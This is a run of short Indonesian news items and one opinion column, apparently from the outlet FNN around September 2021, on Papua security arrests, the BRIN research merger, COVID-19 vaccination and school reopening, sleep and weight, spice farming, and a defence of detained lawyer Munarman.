Jayapura, FNN - Direktorat Reskrimum Polda Papua, Kamis membeberkan keterlibatan Senat Soll sejak melakukan jual beli amunisi tahun 2018. Kasus jual beli 155 butir amunisi terbongkar di bandara Moses Kilangin Timika, setelah Ruben Wakla diamankan di Timika dan Senat Soll alias Ananias Yalak yang berpangkat Prada melarikan diri. Senat Soll dipecat dari keanggotaan militer sejak 2019 lalu sesuai keputusan Mahkamah Militer III Jayapura, karena terlibat jual beli amunisi. Dirkrimum Polda Papua Kombes Faisal Rahmadani di Jayapura mengakui, penangkapan terhadap Senat Soll yang merupakan satu dari tiga pimpinan KKB yang sering kali melakukan teror kepada warga sipil dan aparat keamanan di Yahukimo. Dua pimpinan KKB lainnya yakni Tenius Gwijangge dan Temianus Magayang. Memang benar Senat Soll sejak 2019 dan kelompoknya seringkali melakukan teror hingga menewaskan warga sipil dan aparat keamanan. Adapun kekerasan yang melibatkan Senat Soll yaitu kasus pembakaran ATM BRI di Dekai, tanggal 1 Desember 2019, pembunuhan staf KPU Yahukimo Hendri Jovinski tanggal 11 Agustus 2020, tanggal 20 Agustus 2020 terlibat pembunuhan Muhamad Thoyib dan tanggal 26 Agustus 2020 terlibat kasus penganiayaan hingga melukai Yausan. Kemudian aksi pembunuhan dua prajurit dan perampasan senjata api jenis SS2 tanggal 18 Mei lalu, penembakan pengendara motor di Longpon tanggal 21 Juni dan penembakan terhadap truk di kali I, Seradala tanggal 24 Juni. Penembakan dan pembunuhan empat pekerja bangunan di kampung Bengki tanggal 24 Juni lalu, pembakaran alat berat tanggal 25 Juni, penembakan terhadap anggota Polri hingga terluka tanggal 9 Juli. Selain itu juga terlibat dalam kasus pembunuhan dua karyawan PT. Indo Mulia Baru tanggal 22 Agustus lalu, ungkap Kombes Faisal seraya menambahkan dari 12 kasus yang diduga ada keterlibatan Senat Soll, empat di antaranya sudah ada laporan polisinya. "Anggota masih melakukan penyelidikan guna mengungkap peran dari Senat Soll dan saat ditangkap anggota terpaksa melumpuhkan karena melawan hingga mengakibatkan kakinya terkena luka tembak," ucap Faisal. (mth)

BRIN: Integrasi LPNK dan Litbang Tidak Pengaruhi Kerja Periset

Jakarta, FNN - Kepala Badan Riset dan Inovasi Nasional (BRIN) Laksana Tri Handoko mengatakan proses integrasi empat lembaga pemerintah non-kementerian (LPNK) dan 44 unit penelitian dan pengembangan (litbang) di kementerian/lembaga (K/L) tidak mempengaruhi kerja para periset. "Pascaintegrasi, secara prinsip tidak akan ada perubahan signifikan terkait periset karena memang tidak perlu terpengaruh dengan proses ini, karena mereka berbasis grup riset dan kepakarannya," kata Handoko saat dihubungi ANTARA di Jakarta, Kamis. Empat LPNK tersebut adalah Lembaga Ilmu Pengetahuan Indonesia (LIPI), Badan Pengkajian dan Penerapan Teknologi (BPPT), Lembaga Penerbangan dan Antariksa Nasional (Lapan), dan Badan Tenaga Nuklir Nasional (Batan). Handoko menuturkan integrasi tersebut dipastikan tidak mengganggu kerja para periset. Para peneliti dan perekayasa tetap fokus melakukan kegiatan penelitian, pengembangan, pengkajian, dan penerapan (litbangjirap) sesuai bidang kepakarannya. Sementara perubahan nomenklatur terjadi karena terbentuknya struktur organisasi BRIN dengan pengintegrasian lembaga pelaksana penelitian, pengembangan, pengkajian, dan penerapan serta penyelenggaraan keantariksaan dan ketenaganukliran ke dalam BRIN sehingga perlu penyesuaian. BRIN mengintegrasikan seluruh sumber daya ilmu pengetahuan dan teknologi (Iptek) yang mencakup sumber daya manusia, infrastruktur dan anggaran yang selama ini tersebar di berbagai K/L. Sebagai lembaga pemerintah yang berada di bawah dan bertanggung jawab kepada Presiden, BRIN mempunyai tugas menyelenggarakan tugas pemerintahan di bidang litbangjirap, serta invensi dan inovasi, penyelenggaraan ketenaganukliran dan keantariksaan secara nasional yang terintegrasi. Berdasarkan Peraturan Presiden (Perpres) Nomor 78 Tahun 2021 tentang BRIN yang belum lama ini dilansir, tugas, fungsi dan kewenangan pada unit yang melaksanakan litbangjirap ilmu pengetahuan dan teknologi di lingkungan K/L dialihkan menjadi tugas, fungsi dan kewenangan BRIN. Pengalihan tugas, fungsi dan kewenangan tersebut diikuti dengan pengalihan pegawai negeri sipil, perlengkapan, pembiayaan dan aset yang dipergunakan untuk melaksanakan tugas dan fungsi tersebut, dan menjadi pegawai negeri sipil, perlengkapan, pembiayaan dan aset BRIN. Seluruh lembaga pemerintah non-kementerian (LPNK) sudah terintegrasi ke dalam BRIN per 1 September 2021. Sementara, integrasi unit litbang di K/L ke BRIN masih dalam proses, dan akan diselesaikan per 1 Januari 2022. Adapun tiga arah pembentukan BRIN adalah konsolidasi sumber daya (manusia, infrastruktur, anggaran) Iptek untuk meningkatkan critical mass, kapasitas dan kompetensi riset Indonesia untuk menghasilkan invensi dan inovasi sebagai fondasi utama Indonesia Maju 2045. Kemudian, menciptakan ekosistem riset sesuai standar global yang terbuka (inklusif) dan kolaboratif bagi semua pihak (akademisi, industri, komunitas, pemerintah), serta menciptakan fondasi ekonomi berbasis riset yang kuat dan berkesinambungan dengan fokus digital-green-blue economy. Dengan melakukan konsolidasi sumber daya Iptek, BRIN diharapkan dapat menjadi penghela untuk meningkatkan ekosistem riset dan inovasi di Indonesia sehingga riset dan inovasi bisa menjadi landasan atau pondasi ekonomi Indonesia maju di 2045. (mth)

Menko PMK Minta Kepala Daerah Tidak Stok Vaksin COVID-19

Solo, JFNN - Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (PMK) Muhadjir Effendy meminta kepala daerah agar tidak menstok vaksin COVID-19 demi percepatan vaksinasi kepada masyarakat. "Insya Allah stok vaksin aman. Makanya saya mengimbau pimpinan daerah, jangan stok vaksin. Vaksin datang, suntikkan, vaksin datang, suntikkan," katanya di sela peninjauan vaksin untuk pesantren dan disabilitas di Rumah Sakit Umum Islam Kustati Surakarta, Jawa Tengah, Kamis. Ia mengatakan hingga saat ini vaksin terus datang dari luar negeri sehingga dipastikan ketersediaan dalam kondisi aman. "Ini terus mengalir jumlah vaksin dari luar negeri. Berkat kerja keras Bu Menlu dengan berbagai macam skema. Selain beli, ada donor dari bilateral dan multilateral," katanya. Mengenai capaian vaksinasi di Solo Raya, dikatakannya bahwa saat ini sudah cukup bagus. Meski demikian, untuk penanganan COVID-19 masih harus ditingkatkan mengingat Solo berada di wilayah aglomerasi. "Solo ini aglomerasi, namanya saja Solo Raya, jadi pergerakan orang memusat, bukan sentrifugal tetapi sentripetal. Jadi menumpuk di Solo kalau siang. Kalau malam hanya 600.000, kalau siang bisa 2 juta orang," katanya. Ia mengatakan kondisi itulah yang membuat penanganan kasus COVID-19 di Kota Solo tidak segera selesai. "Ini karena Solo menjadi pusat pergerakan orang, terutama dari wilayah sekitar. Makanya dipercepat vaksinasinya, Solo Raya kan termasuk kompleks, apalagi leveling-nya paling terakhir. Bukan karena Solonya tetapi karena ada enam kabupaten yang semua pergerakan orangnya ke Solo," katanya. Sementara itu, pada kegiatan tersebut Muhadjir Effendy yang didampingi oleh Wali Kota Surakarta Gibran Rakabuming Raka juga membagikan masker kepada puluhan santri yang sedang antre mengikuti vaksin. (mth)

Munarman Aktivis yang Harus Dihabisi

SUDAH empat bulan lebih ia menjadi tahanan kepolisian dengan dugaan keterlibatan tindak pidana terorisme. Sebuah tuduhan yang penuh misteri dan rekayasa. Sebab, hanya dikaitkan dengan kehadirannya dan menyampaikan materi dalam pertemuan di Makassar, Sulawesi Selatan dan di Universitas Islam Negeri (UIN) Syarif Hidayatullah Jakarta, di Cuputat, Kota Tangerang Selatan, Banten Penangkapannya pun dianggap tidak manusiawi. Ia ditangkap Detasemen Khusus (Densus) 88 Antiteror Polri pada Selasa, 27 April 2021 di kediamannya, Klaster Lembah Pinus Modern Hill, Blok G-5/8 RT 01/RW 13, Kelurahan Pondok Cabe Udik, Pamulang, Tangerang Selatan, Banten. Bayangkan, permintaannya memakai sandal saja tidak dibolehkan. Bahkan, ketika ia mengatakan penangkapan tidak sesuai prosedur hukum yang berlaku, terdengan suara bentakan sebagai jawabannya. Berdasarkan video yang beredar, ia terlihat tampak tenang menghadapi pasukan antiteror dalam jumlah lumayan banyak dengan senjata lengkap. Ditambah lagi dengan aparat keamanan yang tidak menggunakan pakaian dinas. “Munarman ditangkap!” Demikian kalimat yang beredar di WhatsApp (WA) grup saat menjelang berbuka puasa waktu itu. Harap maklum, waktu penangkapannya bertepatan dengan bulan suci Ramadhan 1442 Hijriyah. Dengan mata ditutup dan tangan diborgol, pengacara Habib Rizieq Shihab itu dibawa ke Markas Kepolisian Daerah Metro Jaya. Memakai kain sarung dan kemeja koko putih, Munarman terlihat tetap tenang. Ya, itulah yang dialami Munarman, SH. Sang pengacara, aktivis demokrasi dan hak azasi manusia. Sederet profesi di bidang pembelaan disandangnya. Kariernya dimulai ketika bergabung dengan Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI) di Palembang, kemudian menjadi Koordinator Kontras (Komisi untuk Orang Hilang dan Korban Tindak Kekerasan) di Aceh. Puncak kariernya ketika tanggal 25 September 2002 terpilih menjadi Ketua YLBHI dan diembannya sampai 2006. Jika melihat sepak-terjangnya, pantas ia selalu bersinggungan dan berhadapan dengan aparat keamanan, baik dengan ABRI (Angkatan Bersenjata Republik Indonesia - yang merupakan gabungan tentara dan polisi di masa orde baru) maupun dengan aparat hukum (polisi, jaksa dan hakim) di masa reformasi. Bahkan, bisa dikatakan Munarman adalah “musuh” bebuyutan polisi dan jaksa. ‘Musuh’ utamanya adalah polisi. Ia selalu menjadi target polisi, terutama setelah bergabung dengan FPI yang senantiasa mengkritik pemerintah. Selalu dianggap berseberangan dengan penguasa, sehingga ia harus ‘dihabisi.” Perlakuan dan penangkapan terhadap mantan Sekretaris Umum Front Pembela Islam itu dinilai tidak adil. Juga terkesan dipaksakan karena diduga ada kaitan dengan pembelaannya terhadap pembantaian enam laskar FPI yang mengawal iringan HRS dan keluarga di KM-50 Jln Tol Jakarta-Cikampek. Juga, karena pembelaannya dalam persidangan HRS di Pengadilan Negeri Jakarta Timur, yang sempat membentak jaksa penuntut umum. Anda bisa bandingkan antara perlakuan yang diterapkan kepada Munarman dengan dua orang anggota polisi yang membunuh laskar tersebut. Ibarat kata pepatah, “Antara bumi dan langit.” Munarman ditangkap dan ditahan dengan tuduhan teroris, sedangkan dua polisi, Briptu FR, dan Ipda MYO yang dituduh membunuh dijerat dengan dua pasal, tidak ditahan. Tidak ditahan, baik saat penyelidikan dan penyidikan di Polda Metro Jaya maupun saat berkas dan tersangkanya dilimpahkan ke kejaksaan. Malah, keduanya masih aktif sebagai polisi. Inilah yang namanya, “Hukum tajam ke oposisi, tetapi tumpul ke polisi.” Padahal, dua anggota polisi itu dikenakan pasal yang hukuman maksimalnya cukup berat. Pertama, Pasal 338 juncto Pasal 55 ayat (1) ke-1 Kitab Undang-undang Hukum Pidana (KUHP) sebagai tuduhan primer. Pasal tersebut, terkait dengan ancaman 15 tahun penjara bagi pelaku perampasan nyawa orang lain, atau pembunuhan. Kemudian, dalam rencana dakwaan subsider, jaksa penuntut umum (JPU) memakai sangkaan Pasal 351 ayat (3) juncto, Pasal 55 ayat (1) ke-1 KUHP. Sangkaan tersebut, terkait dengan penganiayaan yang menyebabkan kematian, dengan ancaman tujuh tahun penjara. Melihat ketimpangan dalam penegakan keadilan itu, maka wajar sejumlah aktivis, pengacara, ulama, habaib dan tokoh masyarakat menyuarakan agar Munarman segera dibebaskan dari penjara. Tuntutan yang sama juga sudah beberapa kali disampaikan terhadap HRS dan kawan-kawan. Rabu, 1 September 2021, tuntutan agar Munarman dibebaskan disuarakan oleh sekelompok orang yang menamakan diri sebagai Sahabat Munarman. Bertempat di Masjid Baiturrahman, Jln Sahardjo, Tebet, Jakarta Selatan, mereka mengeluarkan tiga pernyataan sikap. Pertama, mengutuk keras segala bentuk kriminalisasi dan terorisasi beserta fitnah terhadap sahabat kami saudara Munarman. Kedua, mendesak agar kriminalisasi, terorisasi serta fitnah terhadap saudara Munarman segera dihentikan dan membebaskannya dari tahanan. Ketiga, hentikan segala bentuk kriminalisasi dan terorisasi terhadap ajaran agama mana pun maupun pemuka agama apa pun di Indonesia. “Rakyat perlu mengetahui, fitnah berupa tuduhan Munarman menggerakkan orang atau bermufakat jahat atau memberikan bantuan atau menyembunyikan informasi adalah fitnah keji terhadap yang bersangkutan," kata Juju Purwanto, pengacara Munarman. Contoh kehadiran Munarman di acara seminar di Makassar, Sulawesi Selatan. Munarman tidak melakukan pembaiatan anggota ISIS (Islamic State of Iraq and Syria- Negara Islam Irak dan Suriah) dalam acara seminar tersebut. Munarman hadir sebagai narasumber yang substansi materinya adalah tentang kontra terorisme. “Adanya agenda baiat ISIS tidak diketahui Munarman. Sehingga saat berlangsung secara mendadak pun ia tidak ikut membaiat, tidak mendukung, menyuruh, atau memfasilitasi," ujarnya. "Sungguh tidak masuk akal sehat dan sangat mustahil apabila saudara Munarman terlibat dalam gerakan terorisme," ucap Juju. Sedangkan Marwan Batubara mengatakan, penangkapan dan penahanan Munarman lebih menunjukkan kesewenang-wenangan dari pemerintah, dalam hal tersebut aparat polisi. Oleh karena itu, ia minta segera dibebaskan. Marwan mengatakan, jika Presiden Joko Widodo bukan pemimpin yang hipokrit, "Ya buktikan, Pak Munarman, saudara kami itu, segera bebaskan." Ia memprotes penangkapan Munarman, karena melanggar hukum. "Jangan sembarang tangkap. Pak Jokowi bilang Pancasila, lalu dari Pancasila itu ada kejelasan tentang ini negara hukum. Akan tetapi, praktiknya justru sangat biadab gitu. Tidak beradab ya, memperlakukan saudara kami itu seolah-olah beliau itu bukan manusia ya," kata Marwan, koordinator Tim Pengawal Peristiwa Pembunuhan (TP3) 6 Laskar FPI itu. Marwan mengingatkan masih ada yang lebih berkuasa dari Jokowi dan jajarannya. “Itu keyakinan kami. Jika Anda (Jokowi) tidak melepaskan Munarman, kami berdo’a, semoga Allah nanti menjatuhkan hukumnya atau keputusannya yang terakhir dan lebih adil.” **

Akibat Kurang Tidur dan Obesitas

Tanjungpinang, FNN - Jika Anda mencoba menurunkan berat badan, maka jumlah tidur yang Anda dapatkan mungkin sama pentingnya dengan diet dan olahraga Anda. Sayangnya, banyak orang yang kurang tidur. Faktanya, sekitar 30% orang dewasa tidur kurang dari enam jam hampir setiap malam, menurut sebuah penelitian terhadap orang dewasa di Amerika Serikat (AS). Menariknya, semakin banyak bukti menunjukkan bahwa tidur mungkin menjadi faktor yang hilang bagi banyak orang yang berjuang untuk menurunkan berat badan. “Ada tujuh alasan mengapa cukup tidur dapat membantu Anda menurunkan berat badan,” ungkap Dr. dr. Hisnindarsyah, SE, MKes, MH, CFEM, dokter di salah satu rumah sakit di Tanjungpinang. Kurang tidur adalah faktor risiko utama untuk kenaikan berat badan dan obesitas. Menurut Hisnindarsyah, kebutuhan tidur orang bervariasi, tetapi, secara umum, penelitian telah mengamati perubahan berat badan ketika orang tidur kurang dari tujuh jam semalam. Sebuah tinjauan besar menemukan, durasi tidur yang pendek meningkatkan kemungkinan obesitas sebesar 89% pada anak-anak dan 55% pada orang dewasa. Menurut Dokter Hisnindarsyah, kurang tidur bisa mningkatkan nafsu makan Anda. Ketika Anda tidak mendapatkan tidur yang cukup, tubuh membuat lebih banyak ghrelin dan lebih sedikit leptin, membuat Anda lapar dan meningkatkan nafsu makan. Sebuah penelitian terhadap lebih dari 1.000 orang menemukan bahwa mereka yang tidur dalam waktu singkat memiliki kadar ghrelin 14,9% lebih tinggi dan kadar leptin 15,5% lebih rendah daripada mereka yang cukup tidur. “Selain itu, hormon kortisol lebih tinggi bila Anda tidak mendapatkan tidur yang cukup. Kortisol adalah hormon stres yang juga dapat meningkatkan nafsu makan,” ujar Dokter Hisnindarsyah. Ia menambahkan, tidur itu membantu Anda melawan rasa lapar dan membuat pilihan sehat. Kurang tidur itu justru akan menumpulkan aktivitas di lobus frontal otak. Lobus frontal bertanggung jawab atas pengambilan keputusan dan pengendalian diri. Selain itu, tampaknya pusat penghargaan di otak lebih dirangsang oleh makanan saat Anda kurang tidur. Dokter Hisnindarsyah mengatakan, kurang tidur itu bisa meningkatkan asupan kalori Anda. “Karena, orang yang kurang tidur cenderung mengonsumsi lebih banyak kalori,” lanjutnya. Sebuah penelitian terhadap 12 pria menemukan bahwa ketika peserta hanya diperbolehkan tidur empat jam, mereka makan rata-rata 559 kalori lebih banyak pada hari berikutnya, dibandingkan dengan ketika mereka diizinkan delapan jam. Menurut Dokter Hisnindarsyah , kurang tidur bisa menurunkan metabolisme istirahat Anda. Tingkat metabolisme istirahat Anda (RMR) adalah jumlah kalori yang dibakar tubuh saat benar-benar beristirahat( bed rest total). Ini dipengaruhi oleh usia, berat badan, tinggi badan, jenis kelamin, dan massa otot. Penelitian menunjukkan bahwa kurang tidur dapat menurunkan RMR Anda. Tampaknya juga kurang tidur bisa menyebabkan hilangnya massa otot. Otot membakar lebih banyak kalori ketika istirahat daripada lemak. “Jadi ketika otot hilang, tingkat metabolisme istirahat menurun. Sehingga timbunan lemak pun meningkat,” jelasnya. (mth)

Kabupaten Banyuasin Dorong Peningkatan Produksi Tanaman Rempah

Palembang, FNN - Pemerintah Kabupaten Banyuasin, Sumatera Selatan, mendorong warganya untuk berperan aktif dalam peningkatan produksi tanaman rempah dengan memanfaatkan pekarangan rumah. Bupati Banyuasin Askolani di Pangkalan Balai, Kamis, mengatakan, walau terkesan sederhana tapi sebenarnya bisa membangkitkan ekonomi keluarga di tengah pandemi COVID-19. “Yang memiliki pekarangan, ayo manfaatkan dengan ditanami tanaman obat-obatan dan sayur mayur. Setidaknya bisa untuk memenuhi kebutuhan sendiri,” kata Askolani. Ia mengatakan di tengah pandemi ini, sebagian masyarakat mulai peduli pada kesehatan dengan tertarik mengonsumsi rempah-rempah. Tak heran, saat ini permintaan terhadap jahe, kunyit, lengkuas, dan sejenisnya justru meningkat, yang tentunya berbanding lurus dengan harganya. Kondisi ini seharusnya ditangkap sebagai peluang untuk meningkatkan kesejahteraan. Sehingga, ia melanjutkan, Banyuasin bukan hanya terpaku sebagai daerah lumbung pangan padi saja tapi juga rempah-rempah. Saat ini, petani di Kabupaten Banyuasin, Sumatera Selatan, menyiapkan lahan seluas 118 hektare untuk mendukung program pemerintah pusat food estate yang bertujuan menciptakan lumbung pangan baru multi komoditas. Dalam program food estate tersebut Banyuasin akan fokus pada ekstensifikasi dan intensifikasi karena memiliki areal pertanian yang luas. Dari lima daerah yang terpilih menjalankan program tersebut di Sumsel, Banyuasin tercatat menjadi yang terluas areal pertaniannya, sementara Kabupaten OKI hanya 10 ribu Ha, OKU Timur 20 ribu Ha, OKU Selatan 3 ribu Ha dan Ogan Ilir hanya 2 Ha. “Dengan luas baku sawah 174.371 Ha atau menjadi yang terluas di wilayah Sumatera, tentunya Banyuasin menjadi daerah dengan keunggulan sendiri sebagai lumbung pangan di Tanah Air,” kata dia. Kabupaten Banyuasin memiliki luas panen padi 208,598 ha, sehingga produksi padi sebesar 905.846 ton GKG dan produksi beras sebesar 519.684 ton pada musim tanam 2019. (sws)

Disdik Kota Bogor Kembali Siapkan Uji Coba PTM

Bogor, FNN - Dinas Pendidikan Kota Bogor siap kembali melakukan uji coba pelaksanaan pembelajaran tatap muka (PTM) secara terbatas untuk SMP mulai pekan kedua September 2021. Kepala Dinas Pendidikan Kota Bogor Hanafi di Kota Bogor, Kamis, mengatakan persiapan uji coba pelaksanaan PTM terbatas sudah dilakukan dengan mengacu pada Surat Keputusan Bersama (SKB) 4 Menteri serta Instruksi Mendagri Nomor 38 Tahun 2021 tentang Level PPKM. Menurut Hanafi, Kota Bogor saat ini berada pada PPKM Level 3, sehingga memungkinkan untuk uji coba pelaksanaan PTM terbatas yakni maksimal 50 persen dan waktu belajar tiga jam per hari. "Untuk tahap awal, dilaksanakan dua kali PTM dalam sepekan. Jika perkembangan COVID-19 semakin terkendali, maka PTM dapat ditingkatkan sampai lima kali sepekan," katanya. Hanafi menjelaskan, persiapan uji coba pelaksanaan PTM terbatas ini, akan mengulang kembali simulasi PTM yang sebelumnya sudah dilakukan, yakni pada 31 Mei hingga 16 Juni 2021. "Karena kasus positif COVID-19 di Kota Bogor meningkat tajam, ujicoba PTM itu hentikan sementara," katanya. "Sekolah harus mengaktifkan kembali Satgas COVID-19 serta menyiapkan infrastruktur protokol kesehatan. Kita akan coba dulu di SMP Negeri," ujarnya. Menurut Hanafi, Dinas Pendidikan juga sudah berkoordinasi secara internal dengan pengawas sekolah mulai dari PAUD/TK, serta SD dan SMP, meminta untuk mempersiapkan sekolah di bawah binaannya melakukan persiapan. "Kami juga segera berkoordinasi dengan KCD (Kantor Cabang Dinas) Pendidikan Jawa Barat untuk SMA dan SMK, serta berkoordinasi dengan Kantor Kemenag untuk MA," katanya. Sebelumnya, pada rapat koordinasi antara Dinas Pendidikan dengan Komisi IV DPRD Kota Bogor, Hanafi telah menjelaskan langkah-langkah persiapan yang telah dilakukan Dinas Pendidikan. "Kami siapkan dulu, setelah itu kami laporkan ke Satgas Penanganan COVID-19 Kota Bogor kebijakannya seperti apa," katanya. Hanafi juga menyebut, vaksinasi untuk remaja bukan syarat utama pelaksanaan PTM terbatas, tapi upaya pemerintah untuk memutus rantai penyebaran COVID-19. "Dinas Pendidikan, juga meminta sekolah tetap menyiapkan pembelajaran jarak jauh (PJJ) atau pembelajaran online," katanya. (sws)

Wali Kota Singkawang Minta Warga Waspadai Akun FB Palsu

Pontianak, FNN - Wali Kota Singkawang, Tjhai Chui Mie mengimbau kepada warganet untuk mewaspadai dan tidak mempercayai akun Facebook palsu yang menggunakan nama dan foto dirinya. "Saya menemukan akun Facebook palsu yang menggunakan foto dan nama saya dan saya temukan ada dua akun palsu," kata Tjhai Chui Mie di Singkawang, Kamis. Untuk menghindari terjadinya tindakan kejahatan, dia mengajak warganet untuk membantu melaporkan akun tersebut. "Mari bantu report akun tersebut," katanya lagi. Karena menurut dia, pengguna akun tersebut dikhawatirkan telah berani meminta mengirimkan pulsa bahkan sejumlah uang kepada warganet melalui Messenger. Jika dibiarkan, tentu akan sangat meresahkan dan merugikan masyarakat. Tjhai Chui Mie mengakui, sejak adanya akun palsu tersebut, dirinya belum ada menerima laporan dari warganet yang menjadi korban. "Saya belum tahu, mudah-mudahan warganet tidak mudah percaya dengan akun palsu tersebut dan upayakan konfirmasi terlebih dahulu sebelum melakukan sesuatu," katanya mengingatkan. (sws)

Anggota Komisi X Sebut Bengkulu Beresiko Tinggi Tidak Belajar Optimal

Bengkulu, FNN - Anggota Komisi X DPR, Dewi Coryati, menyebut resiko para siswa tidak bisa belajar secara optimal alias learning loss di Bengkulu cukup tinggi dibanding daerah lainnya jika pembelajaran tatap muka (PTM) di sekolah yang sudah dimulai tidak maksimal dilakukan. Menurut dia, di Bengkulu, Provinsi Bengkulu, Rabu, saat ini masih banyak daerah di Bengkulu yang kesulitan mengakses internet, sehingga resiko learning loss itu cukup besar ketika pembelajaran daring terlalu lama dilaksanakan. Learning loss merupakan situasi ketika peserta didik tidak memperoleh pembelajaran yang optimal, sehingga berakibat pada kemunduran akademis dan non-akademis. "Di Bengkulu ini berapa sih yang punya internet. Coba cek di daerah-daerah. Tidak usah jauh-jauh, kita di Bengkulu saja sinyal internet kita sering terganggu. Kalau terus daring kita akan learning loss," kata dia. Ia menilai, pelaksanaan sekolah daring yang sudah berjalan lebih satu tahun menunjukkan jika tidak satupun dari tiga indikator pelaksanaan sekolah jarak jauh yang terpenuhi, di antaranya keterampilan guru, kesiapan siswa menerima pelajaran secara daring dan media pembelajarannya. Karena itu anggota DPR dari daerah pemilihan Provinsi Bengkulu ini mendorong agar pemerintah daerah memaksimalkan penerapan PTM di sekolah agar kualitas pendidikan tetap terjaga. Selain itu, dia juga meminta cakupan vaksinasi untuk guru dan siswa terus ditingkatkan supaya pelaksanaan PTM di sekolah lebih aman dan memperkecil kemungkinan terjadi penularan Covid-19. "Pak Nadiem mengatakan vaksinasi untuk guru sudah 50 persen. Saya bilang tidak, karena kami tahu di Bengkulu belum sampai segitu. Kalau di Jakarta mungkin iya," kata dia. Sementara itu, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Bengkulu, Eri Yulian Hidayat, menyebutkan bahwa seluruh sekolah di provinsi itu sudah melaksanakan PTM di sekolah sejak Senin (30/8). Menurut dia, sejauh ini pelaksanaan PTM tidak ada hambatan, sebab seluruh guru sudah di vaksin dan pihaknya sudah merancang program vaksin bagi siswa yang berusia di atas 17 tahun. Ia berharap kegiatan belajar tatap muka dapat diikuti seluruh siswa sekolah bukan hanya 50 persen siswa dari total siswa secara bergantian. "Sebab pembelajaran tatap muka dan daring sangat berbeda. Padahal yang di perlukan di sekolah adalah pendidikan karakter jika kegiatan belajar tidak secara tatap muka bagaimana mau memberikan pelajaran tentang sosial dan lainnya," kata dia. (sws)

PKK Sleman Selenggarakan Vaksinasi COVID-19 Bagi Disabilitas

Sleman, DIY, FNN - Tim Penggerak PKK Kabupaten Sleman, Daerah Istimewa Yogyakarta (DIY) dalam rangka mendukung program percepatan vaksinasi menyelenggarakan vaksinasi COVID-19 bagi penyandang disabilitas dan pendampingnya yang dilangsungkan di Sleman City Hall, Kamis. Bupati Sleman Kustini Sri Purnomo didampingi Wakil Bupati Sleman Danang Maharsa berkesempatan meninjau secara langsung pelaksanaan vaksinasi bagi penyandang disabilitas tersebut. Ketua Tim Penggerak PKK Kabupaten Sleman Sri Hapsari Suprobo Dewi mengatakan bahwa kegiatan vaksinasi tersebut diselenggarakan dalam rangka mendukung program percepatan vaksin nasional di wilayah Kabupaten Sleman. "Penyelenggaraan vaksinasi yang diperuntukkan bagi penyandang disabilitas dan pendampingnya ini merupakan upaya dalam mendukung program percepatan vaksinasi nasional," katanya. Menurut dia, terdapat sebanyak 500 penyandang disablitas dan 500 pendamping disabilitas yang turut serta dalam penyelenggaraan program vaksinasi dosis pertama ini. Selain vaksinasi, dalam kegiatan tersebut juga PKK memberikan 500 paket kepada seluruh penyandang disabilitas yang ikut serta dalam program vaksinasi tersebut," katanya. Bupati Sleman Kustini Sri Purnomo dalam kesempatan tersebut menyampaikan apresiasinya kepada PKK Sleman maupun kepada para penyandang disabilitas yang turut serta dalam pelaskanaan vaksinasi ini. "Upaya PKK Sleman dalam mendukung program percepatan vaksinasi di Sleman merupakan salah satu bentuk sinergi untuk bersama-sama mendukung program vaksinasi bagi masyarakat. Upaya ini tentunya perlu diapresiasi dan kita dukung bersama," katanya. Ia menilai kegiatan vaksinasi tersebut mendapat antusias dari masyarakat khususnya penyandang disabilitas yang telah mengikuti program vaksinasi yang diselenggarakan PKK Sleman. Bupati beserta jajarannya juga berkesempatan untuk langsung melihat proses vaksinasi bagi penyandang disabilitas dan pendampingnya. Selain itu, Bupati Sleman Kustini Sri Purnomo bersama Wakil Bupati Sleman Danang Maharsa juga berkesempatan menyerahkan secara langsung bantuan sembako kepada sejumlah penyandang disabilitas. (sws)

Dokter Australia Peringatkan Sistem Kesehatan Bisa "Tumbang"

Sydney, FNN - Dokter Australia pada Kamis memperingatkan bahwa rumah sakit di negara itu tidak siap untuk menghadapi pembukaan kembali yang direncanakan pemerintah bahkan dengan tingkat vaksinasi Australia yang lebih tinggi. Sejumlah negara bagian di Australia siap beralih dari strategi penekanan virus menjadi hidup berdampingan dengan COVID-19. Asosiasi Medis Australia (AMA) menyebutkan sistem kesehatan terancam terjebak dalam "siklus krisis permanen" dan menyerukan permodelan baru untuk menguji apakah staf rumah sakit mampu menahan jumlah kasus yang diprediksi akan melonjak saat aturan penguncian dilonggarkan. "Jika Anda telah membuka diri dan tidak melihat sistem keselamatan atau rakit penolong yang kita miliki, maka kemungkinan akhirnya kita berusaha mendorong lebih banyak orang ke rakit penolong dan membalikkan mereka," kata Wakil Presiden AMA Chris Moy kepada penyiar ABC. Australia pada Juli mengungkap rencana tahap empat untuk kembali menuju kehidupan yang lebih bebas ketika negara itu mencapai 70-80 persen tingkat vaksinasi dan mendesak negara bagian untuk fokus membatasi jumlah kematian dan rawat inap dari strategi nol COVID-19 saat ini. Australia Barat dan Queensland yang bebas virus mengatakan mereka mungkin tidak berpegang pada rencana pembukaan kembali pemerintah sebab kesepakatan itu dibuat ketika kasus di New South Wales (NSW) jauh lebih rendah. Infeksi baru mendekati angka rekor lebih dari 1.000 kasus sehari selama lima hari terakhir. Pada Rabu, lonjakan kasus memaksa Victoria bergabung dengan NSW untuk meninggalkan target nol kasus COVID-19. Kedua negara bagian kini melihat vaksinasi sebagai jalan menuju kebebasan setelah gagal mengatasi wabah varian Delta, bahkan setelah penguncian digelar sepekan. Kasus baru di Victoria pada Kamis naik menjadi 176 dari 120 kasus pada hari sebelumnya. Australia, yang sempat bebas virus corona selama pandemi, hanya mencatat total 1.012 kematian dan 55.000 lebih kasus. Namun pelaksanaan vaksinasi yang lambat membuat negara itu rentan terhadap lebih banyak kasus infeksi dan rawat inap. Sejauh ini baru sekitar 36 persen orang di atas usia 16 tahun di Australi yang telah menerima vaksin lengkap, jauh di bawah negara-negara maju lainnya. (sws) Sumber: Reuters

Pemprov Sulsel Siapkan Vaksin Moderna Bagi Penderita Komorbid

